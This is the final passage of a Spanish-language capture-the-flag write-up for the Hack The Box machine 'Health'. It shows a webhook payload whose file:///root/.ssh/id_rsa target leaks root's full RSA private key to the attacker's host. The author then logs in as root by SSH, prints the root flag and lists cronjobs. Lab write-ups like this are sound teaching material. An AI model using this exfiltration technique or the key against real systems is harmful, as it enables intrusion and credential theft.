b'{"webhookUrl":"http:\\/\\/10.10.14.207","monitoredUrl":"file:\\/\\/\\/root\\/.ssh\\/id_rsa","health":"up","body":"-----BEGIN RSA PRIVATE KEY-----\\nMIIEowIBAAKCAQEAwddD+eMlmkBmuU77LB0LfuVNJMam9\\/jG5NPqc2TfW4Nlj9gE\\nKScDJTrF0vXYnIy4yUwM4\\/2M31zkuVI007ukvWVRFhRYjwoEPJQUjY2s6B0ykCzq\\nIMFxjreovi1DatoMASTI9Dlm85mdL+rBIjJwfp+Via7ZgoxGaFr0pr8xnNePuHH\\/\\nKuigjMqEn0k6C3EoiBGmEerr1BNKDBHNvdL\\/XP1hN4B7egzjcV8Rphj6XRE3bhgH\\n7so4Xp3Nbro7H7IwIkTvhgy61bSUIWrTdqKP3KPKxua+TqUqyWGNksmK7bYvzhh8\\nW6KAhfnHTO+ppIVqzmam4qbsfisDjJgs6ZwHiQIDAQABAoIBAEQ8IOOwQCZikUae\\nNPC8cLWExnkxrMkRvAIFTzy7v5yZToEqS5yo7QSIAedXP58sMkg6Czeeo55lNua9\\nt3bpUP6S0c5x7xK7Ne6VOf7yZnF3BbuW8\\/v\\/3Jeesznu+RJ+G0ezyUGfi0wpQRoD\\nC2WcV9lbF+rVsB+yfX5ytjiUiURqR8G8wRYI\\/GpGyaCnyHmb6gLQg6Kj+xnxw6Dl\\nhnqFXpOWB771WnW9yH7\\/IU9Z41t5tMXtYwj0pscZ5+XzzhgXw1y1x\\/LUyan++D+8\\nefiWCNS3yeM1ehMgGW9SFE+VMVDPM6CIJXNx1YPoQBRYYT0lwqOD1UkiFwDbOVB2\\n1bLlZQECgYEA9iT13rdKQ\\/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj\\nnVhtw6NRFZ1Gfu21kPTCUTK34iX\\/p\\/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3\\nsqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou\\nfEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q\\n0ipOCXDSsEYL9Q2i1KqPxYopmJNvWxeaHPiuPvJA5Ea5wZV8WWhuspH3657nx8ZQ\\nzkbVWX3JRDh4vdFOBGB\\/ImdyamXURQ72Xhr7ODkCgYAOYn6T83Y9nup4mkln0OzT\\nrti41cO+WeY50nGCdzIxkpRQuF6UEKeELITNqB+2+agDBvVTcVph0Gr6pmnYcRcB\\nN1ZI4E59+O3Z15VgZ\\/W+o51+8PC0tXKKWDEmJOsSQb8WYkEJj09NLEoJdyxtNiTD\\nSsurgFTgjeLzF8ApQNyN4QKBgGBO854QlXP2WYyVGxekpNBNDv7GakctQwrcnU9o\\n++99iTbr8zXmVtLT6cOr0bVVsKgxCnLUGuuPplbnX5b1qLAHux8XXb+xzySpJcpp\\nUnRnrnBfCSZdj0X3CcrsyI8bHoblSn0AgbN6z8dzYtrrPmYA4ztAR\\/xkIP\\/Mog1a\\nvmChAoGBAKcW+e5kDO1OekLdfvqYM5sHcA2le5KKsDzzsmboGEA4ULKjwnOXqJEU\\n6dDHn+VY+LXGCv24IgDN6S78PlcB5acrg6m7OwDyPvXqGrNjvTDEY94BeC\\/cQbPm\\nQeA60hw935eFZvx1Fn+mTaFvYZFMRMpmERTWOBZ53GTHjSZQoS3G\\n-----END RSA PRIVATE KEY-----\\n"}'

Utilizamos la clave privada por SSH logrando obtener una shell como root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 π ~/htb/health ❯ nano root_id_rsa
 π ~/htb/health ❯ chmod 400 root_id_rsa 
 π ~/htb/health ❯ ssh -i root_id_rsa root@10.10.11.176
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-191-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Sep  6 01:19:24 UTC 2022

  System load:  0.02              Processes:           190
  Usage of /:   67.8% of 3.84GB   Users logged in:     1
  Memory usage: 19%               IP address for eth0: 10.10.11.176
  Swap usage:   0%


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


root@health:~# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@health:~# ls
meta  root.txt
root@health:~# cat root.txt
d542f0c03c441b5894a1e19e6bc3053e
root@health:~#

Cronjobs

Como usuario root observamos que existen dos cronjobs, uno es el que ejecuta artisan cada minuto, y otro elimina todos los datos de la columna tasks.

1
2
3
4
5
6
7
8
9
root@health:~# crontab -l | grep -v "#"
SHELL=/bin/bash
* * * * * cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1
* * * * * sleep 5 && /root/meta/clean.sh
root@health:~# cat /root/meta/clean.sh
#! /bin/bash
echo "Cleaning Tasks in database"
mysql laravel --execute "TRUNCATE tasks"
root@health:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe